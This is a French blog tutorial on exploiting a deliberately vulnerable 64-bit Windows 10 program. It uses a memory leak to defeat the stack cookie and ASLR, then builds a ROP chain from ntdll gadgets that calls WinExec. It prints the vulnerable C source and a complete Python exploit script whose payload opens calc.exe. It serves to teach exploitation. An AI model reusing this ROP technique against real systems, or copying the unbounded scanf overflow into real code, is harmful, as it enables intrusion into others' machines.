Exploitation d'un programme 64 bits sous Windows 10

Par Geluchat, mar. 15 mai 2018, dans la catégorie Journal de geluchat

64 bits, Etude de cas, Exploit, ROP, Tutoriel, Windows

Introduction

Lorsque l'on débute dans le domaine de l'exploitation de binaire, notre choix se tourne le plus souvent vers Linux. En effet, beaucoup de challenges ont été développés sous Linux et la documentation sur l'exploitation Linux ne manque pas.

Néanmoins, créer des exploits pour Linux n'a pas le même impact que pour Windows, car celui-ci occupe une plus grosse part du marché.

Beaucoup de personnes que je connais savent exploiter des binaires sous Linux, mais très peu ont pris le temps de s’intéresser à l'exploitation sous Windows.

Cet article a donc pour but de détailler les différences entre l'exploitation Linux et Windows afin de permettre à ces personnes de faire le pas vers le monde de l'exploit Windows.

De plus, n'ayant trouvé aucune documentation permettant d'exploiter un binaire 64 bits lors de mes recherches sur l'exploitation de binaire sous Windows, j'ai décidé de présenter un cas d'étude concret d'exploit 64 bits sous Windows 10 RS4 avec toutes les protections par défaut activées.

Prérequis

Les bases de l'exploitation sous Linux :

Pour tester l'exemple, vous pouvez télécharger une VM Windows 10 64 bits dernière version sur le site de Microsoft.

Je vous conseille aussi de lire les articles de Corelan qui donnent une bonne idée des exploits sous Windows en 32 bits.

Par ailleurs, je recommande IDA en tant que désassembleur et débugger; c'est celui que je vais utiliser tout au long de l’article.

Cela étant dit, passons au vif du sujet.

Les différences entre les protections Linux et Windows

Lorsque l'on arrive dans le monde de Windows, on découvre que certaines protections sont équivalentes à d’autres sur Linux, mais ne portent pas le même nom. Il arrive aussi que d'autres aient le même nom mais un comportement différent, comme par exemple l'ASLR.

L'ASLR Windows est très différent de l'ASLR Linux. Premièrement, il n'est pas activé globalement sur le système ; cela implique donc que chaque binaire, chaque bibliothèque, peut être compilé avec l'ASLR activé ou non. Et deuxièmement, il fait aussi office de PIE : en plus de la randomisation des adresses de la stack et de la heap, chaque module (binaire/bibliothèque) est mappé à des adresses différentes à chaque redémarrage de la machine.

Cependant, le dernier point comporte deux défauts majeurs :

Compare dll

On peut voir que sur ces deux programmes, les adresses de ntdll.dll et de kernel32.dll sont les mêmes.

L'aspect PIE de l'ASLR Windows est donc quasiment inutile pour de l'exploitation locale : il suffit juste de lancer un programme qui récupère les adresses de ses propres bibliothèques chargées en mémoire et de les utiliser pour construire notre ROP chain.

Remarque : on peut noter que l'adresse de base de chall.exe et celle python.exe sont différentes.

Windows a aussi un équivalent de NX nommé la DEP (Data Execution Prevention) qui fonctionne pratiquement pareil que NX dans sa version actuelle. Il était autrefois possible de distinguer la DEP software de la DEP hardware lorsque celle-ci n'était pas supportée sur les processeurs mais nous passerons sur ce point étant donné qu'il est déjà très bien couvert par les articles de Corelan et obsolète dans notre cas qui consiste à étudier les protections sur les dernières moutures de Windows. Nous dirons donc que la DEP est une DEP hardware et donc présente sur tous les binaires.

On y retrouve aussi un stack canary nommé GS protection qui fonctionne lui aussi à peu de choses près comme le canary Linux.

L'ASLR, la DEP ainsi que le GS forme ainsi les protections les plus communes actuellement car activées par défaut.

On pourrait en citer d'autres, comme le SafeSEH qui s'occupe d'éviter les corruptions de la chaîne SEH (celle qui s'occupe de gérer les exceptions dans un programme), ou des protections plus récentes et désactivées par défaut par Visual Studio 2017 tel que la CFG (Control Flow Guard) contrôlant les appels indirects de fonctions (ex: call rax). Un contrôle du pointeur contenu dans le registre à appeler est effectué avant le call afin d'éviter les corruptions de pointeurs de fonction (ex : vtable overwrite).

On peut lister les protections d'un binaire en utilisant Process Hacker ou Get-PESecurity : Process hacker GetPESecurity

Étude de cas - Exploitation d'un binaire 64 bits sous Windows 10

Sans plus attendre, voici notre exemple de programme à exploiter :

#ifdef _MSC_VER
#define _CRT_SECURE_NO_WARNINGS
#endif

#include <stdlib.h>
#include <stdio.h>
#include <io.h>

int main(int argc, char **argv)
{
    unsigned int real_size;
    char badbuffer[64];
    for (int i = 0; i < 2; i++)
    {
        _write(1, "Size : ", 7);
        scanf("%u", &real_size);
        _write(1, "Input : ", 8);
        scanf("%s", badbuffer);
        _write(1, badbuffer, real_size);
        _write(1, "Done\n", 5);
    }
    return 0;
}

Pour notre exemple, j'ai compilé le binaire avec Visual Studio 2017 en laissant les options par défaut (lien vers le binaire).

En regardant le code source du programme, on repère facilement plusieurs vulnérabilités :

On note aussi que l'opération a lieu deux fois (boucle for).

Ci-dessous un exemple de lancement du programme : Exemple de lancement du programme

Les étapes de l'exploit

Afin d'exploiter ce programme, nous allons procéder en plusieurs étapes :

Récupération de l'adresse de retour, du cookie et récupération des bibliothèques

La récupération du cookie, de l'adresse de retour du main ainsi que le calcul de l'adresse de base du programme se fait exactement de la même façon que sous Linux. Un petit rappel de la structure de la stack :

+-------------------------+
|        Save RIP         |
+-------------------------+
|        Save RBP         |
+-------------------------+
|        Padding          |
+-------------------------+
|        Cookie           |
+-------------------------+
|    char badbuffer[64]   |
+-------------------------+

Le script de récupération des adresses en utilisant la fuite de mémoire :

from struct import pack,unpack
from subprocess import Popen, PIPE

process=0

def getProcess():
    global process
    process = Popen([r'./chall.exe'], stdin=PIPE, stdout=PIPE)

def getLeak():
    global process
    process.stdin.write(str(600)+"\n")
    process.stdin.write("a"*60+"\n")
    return process.stdout.readline()

def printLeak(leak):
    for i in range(0,len(leak)/8,8):
        print hex(unpack('<Q',leak[i:i+8])[0])

getProcess()
leak=getLeak()[79:]
#printLeak(leak)

cookie=unpack('<Q',leak[:8])[0]
ret_addr=unpack('<Q',leak[0x18:0x20])[0]
base_addr=ret_addr-0x36c # offset address after call main

print("[+] chall.exe base address : 0x%x"     % base_addr)
print("[+] ret address : 0x%x"                % ret_addr)
print("[+] cookie value : 0x%x"               % cookie)

En revanche, la récupération des adresses de kernel32.dll et ntdll.dll est beaucoup plus spécifique à Windows. Comme indiqué tout à l'heure, on peut se servir (en local) d'un autre programme que l'on contrôle afin de récupérer les adresses de bibliothèques mappées en mémoire (celles-ci ne changeant qu'à chaque redémarrage de la machine). On peut donc utiliser les fonctions OpenProcess() et EnumProcessModules() afin de lister les bibliothèque du processus contrôlé. Dans notre cas, nous allons utiliser le processus python.exe (celui de notre exploit) ainsi que la bibliothèque python win32api qui nous permet de communiquer avec, comme son nom l'indique, l'API Windows :

import win32process
import win32api
import os

processHandle = win32api.OpenProcess(0x1F0FFF, False,os.getpid()) # 0x1F0FFF correspond à 'PROCESS_ALL_ACCESS'
modules = win32process.EnumProcessModules(processHandle)
processHandle.close()

print '\n'.join(["0x%x : %s" % (x,win32api.GetModuleFileName(x)) for x in modules])

ntdll_base=modules[1] # ntdll
kernel32_base=modules[2] # kernel32

print("[+] ntdll.dll base address : 0x%x"     % ntdll_base)
print("[+] kernel32.dll base address : 0x%x"  % kernel32_base)

list modules python

Nous avons toutes nos adresses de base, passons donc maintenant à la création de notre ROP chain.

Création de la ROP chain

Avant de débuter la création de notre ROP chain, je dois vous présenter la convention d'appel de Windows 64 bits la plus commune : la convention __fastcall.

Celle-ci est utilisée pour quasiment tous les appels de fonctions, et fonctionne de la façon suivante :

Un petit schéma pour mieux comprendre :

+-------------------------+    rcx = 1er argument, rdx = 2ème argument
|      Called function    |    r8  = 3ème argument, r9 = 4ème argument
+-------------------------+ 
|       Return addr       |
+-------------------------+
|     Shadow space * 4    |     
+-------------------------+   
|     4+n argument * X    |    X peut être égale à zéro 
+-------------------------+  

Remarque : En mode de compilation Debug, le shadow space est initialisé aux valeurs des arguments afin de faciliter le débugging : source.

C'est cette convention qu'il faudra respecter lors de l'appel aux fonctions dans notre ROP chain.

En parlant des fonctions à appeler, nous allons dans notre exemple utiliser la fonction WinExec située dans kernel32.dll et qui permet d’exécuter une commande :

UINT WINAPI WinExec(
  _In_ LPCSTR lpCmdLine,
  _In_ UINT   uCmdShow // 0 = Hide , 1 = Visible
);

Cette fonction prend deux paramètres, il nous faut donc un pop rcx ; ret ainsi qu'un pop rdx ; ret .

Remarque : afin de limiter l'exploitation, le compilateur inclut très peu de gadgets pop rcx ; ret et pop rdx ; ret dans les binaires, c'est pourquoi nous irons chercher ces gadgets dans une grosse bibliothèque telle que ntdll.dll

Pour cela, on utilise rp++ codé par 0vercl0k de manière à lister les gadgets présents dans ntdll.dll :

C:\Users\Geluchat\Desktop>rp-win-x64.exe --file=ntdll.dll --rop=16 > gadgetndtll

Ce qui nous donne les gadgets suivants :

0x18008d03d: pop rcx ; ret  ;  (1 found)
0x18008aa07: pop rdx ; pop r11 ; ret  ;  (1 found)

Remarque : je n'ai pas trouvé de gadget pop rdx ; ret clean, il faudra donc ajouter un padding de 8 derrière la valeur souhaitée dans rdx afin de remplir le registre r11.

Il ne reste plus qu'à faire appel à la fonction voulue tout en respectant l'alignement de la stack sur 16 bytes.

Pour cela, il faudra que lors de l'appel à la fonction dans notre ROP chain, la valeur du registre RSP soit un multiple de 16 (termine par 0, 0x10, 0x20, etc). Le gadget retsera utilisé pour aligner la stack.

De plus, nous aurons besoin d'un gadget pop x ; pop x ; pop x ; pop x ; ret de façon à continuer notre ROP chain après le shadow space :

+-------------------------+
|      Called function    |
+-------------------------+
|         Pop4ret         |---->+
+-------------------------+     |
|       Shadow space      |     |
+-------------------------+     |
|       Shadow space      |     |
+-------------------------+     |
|       Shadow space      |     |
+-------------------------+     |
|       Shadow space      |     |
+-------------------------+     |
|       Next gadget       |<----+
+-------------------------+
0x1800f5510: ret  ;  (1 found)
0x1800e31de: pop r14 ; pop r13 ; pop rdi ; pop rsi ; ret  ;  (1 found)

Je rappelle que le but de notre ROP chain est de faire apparaître une calculatrice. Pour cela, nous utiliserons la fonction scanf() afin de placer calc.exe\x00 dans la section .data du binaire.

Il ne reste ensuite plus qu'à appeler WinExec(data_addr, 1); afin de finaliser notre exploit !

Récupération des adresses de scanf() dans le binaire et WinExec() dans kernel32.dll : scanf

Winexec

winexec_addr=kernel32_base + 0x5E750 # Base address at 0x180000000 : 0x18005E750  - 0x180000000 = 0x5E750
scanf_addr=base_addr + 0x10 # Base address at 0x140001000 : 0x140001010 - 0x140001000 = 0x10
poprcx=ntdll_base + 0x8d03d
poprdxr11=ntdll_base + 0x8aa07
popr10r11=ntdll_base + 0x8aa06
retgadget=ntdll_base + 0xf5510
pop4ret=ntdll_base + 0xe31de
s_addr=base_addr + 0x126c
data_addr=base_addr + 0x2600

On forme ensuite notre ROP chain :

ropchain="a"*64 + pack('<Q',cookie) + "b"*16
#scanf("%s",data_addr);
ropchain+=pack('<Q',poprcx) + pack('<Q',s_addr) # Pop 1st arg
ropchain+=pack('<Q',poprdxr11) + pack('<Q',data_addr) +"a"*8  # Pop 2nd arg + dumb argument for r11
ropchain+= pack('<Q',scanf_addr) + pack('<Q',pop4ret) # call scanf + set return addr to pop4ret to jump over the shadow space
ropchain+="b"* 0x20 # Padding to return address (shadow space size)
#WinExec(data_addr,1);
ropchain+=pack('<Q',poprcx) + pack('<Q',data_addr) # Pop 1st arg
ropchain+=pack('<Q',poprdxr11) + pack('<Q',1) + "a"*8 # Pop 2nd arg + dumb argument for r11
ropchain+=pack('<Q',retgadget) + pack('<Q',winexec_addr) # Align rsp using ret + call WinExec
ropchain+=pack('<Q',ret_addr) # Set return address to the real main return value

Et voilà !

Exploit

Voici l'exploit final qui regroupe les étapes du dessus et fait apparaître une calculatrice :

from struct import pack,unpack
from subprocess import Popen, PIPE
import win32process
import win32api
import os

process=0

def getProcess():
    global process
    process = Popen([r'./chall.exe'], stdin=PIPE, stdout=PIPE)

def getLeak():
    global process
    process.stdin.write(str(600)+"\n")
    process.stdin.write("a"*60+"\n")
    return process.stdout.readline()

def printLeak(leak):
    for i in range(0,len(leak)/8,8):
        print hex(unpack('<Q',leak[i:i+8])[0])

def exploit(ropchain):
    process.stdin.write(str(600)+"\n")
    process.stdin.write(ropchain+"\n")
    process.stdin.write('calc.exe\x00\n') # for the scanf inside the ropchain

getProcess()
leak=getLeak()[79:]

#printLeak(leak)

processHandle = win32api.OpenProcess(0x1F0FFF, False, os.getpid())
modules = win32process.EnumProcessModules(processHandle)
processHandle.close()

#print '\n'.join(["0x%x : %s" % (x,win32api.GetModuleFileName(x)) for x in modules])

ntdll_base=modules[1] # ntdll
kernel32_base=modules[2] # kernel32
ret_addr=unpack('<Q',leak[0x18:0x20])[0]
base_addr=ret_addr - 0x36c # offset address after call main
cookie=unpack('<Q',leak[:8])[0]

poprcx=ntdll_base + 0x8d03d
poprdxr11=ntdll_base + 0x8aa07
popr10r11=ntdll_base + 0x8aa06
retgadget=ntdll_base + 0xf5510
pop4ret=ntdll_base + 0xe31de
s_addr=base_addr + 0x126c
winexec_addr=kernel32_base + 0x5E750 
data_addr=base_addr + 0x2600
scanf_addr=base_addr + 0x10 

print("[+] chall.exe base address : 0x%x"     % base_addr)
print("[+] ntdll.dll base address : 0x%x"     % ntdll_base)
print("[+] kernel32.dll base address : 0x%x"  % kernel32_base)
print("[+] cookie value : 0x%x"               % cookie)
print("[+] Winexec address : 0x%x"            % winexec_addr)
print("[+] scanf address : 0x%x"              % scanf_addr)
print("[+] ret address : 0x%x"                % ret_addr)

print("[+] Build ropchain")

ropchain="a"*64 + pack('<Q',cookie) + "b"*16
#scanf("%s",data_addr);
ropchain+=pack('<Q',poprcx) + pack('<Q',s_addr) # Pop 1st arg
ropchain+=pack('<Q',poprdxr11) + pack('<Q',data_addr) +"a"*8  # Pop 2nd arg + dumb argument for r11
ropchain+= pack('<Q',scanf_addr) + pack('<Q',pop4ret) # call scanf + set return addr to pop4ret to jump over the shadow space
ropchain+="b"* 0x20 # Padding to return address (shadow space size)
#WinExec(data_addr,1);
ropchain+=pack('<Q',poprcx) + pack('<Q',data_addr) # Pop 1st arg
ropchain+=pack('<Q',poprdxr11) + pack('<Q',1) + "a"*8 # Pop 2nd arg + dumb argument for r11
ropchain+=pack('<Q',retgadget) + pack('<Q',winexec_addr) # Align rsp using ret + call WinExec
ropchain+=pack('<Q',ret_addr) # Set return address to the real main return value
print("[+] Trigger overflow...")
exploit(ropchain)
print("[+] Gimme that calc")

Exploit final Et hop, une calculatrice ! Easy

Nous avons pu voir dans cet article que l'exploitation de binaire sous Windows n'est pas si différente de celle sous Linux.

J'espère que cet article aura donné envie aux pwners Linux d'aller tester leurs compétences sur des binaires Windows.

Si cela vous intéresse, je vous laisse avec un ancien challenge proposé par Blue Frost Security situé juste ici.

Le but est simple : faire pop une calculatrice sans faire crasher le service. Le challenge en lui même est plutôt facile et vous permettra de vous entraîner aux exploits sous Windows.

Remarque : IDA < 7.0 ne debug pas les binaires 64 bits nativement, néanmoins il permet tout de même le debug à distance (localhost dans votre cas) en lançant le programme "win64_remotex64.exe" situé dans le dossier dbgsrv de IDA et en utilisant l'option Remote Windows Debugger.

Voilà, c’est déjà terminé, n’hésitez pas à suivre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Un grand merci à SIben et Mastho pour la correction de l'article !

Geluchat.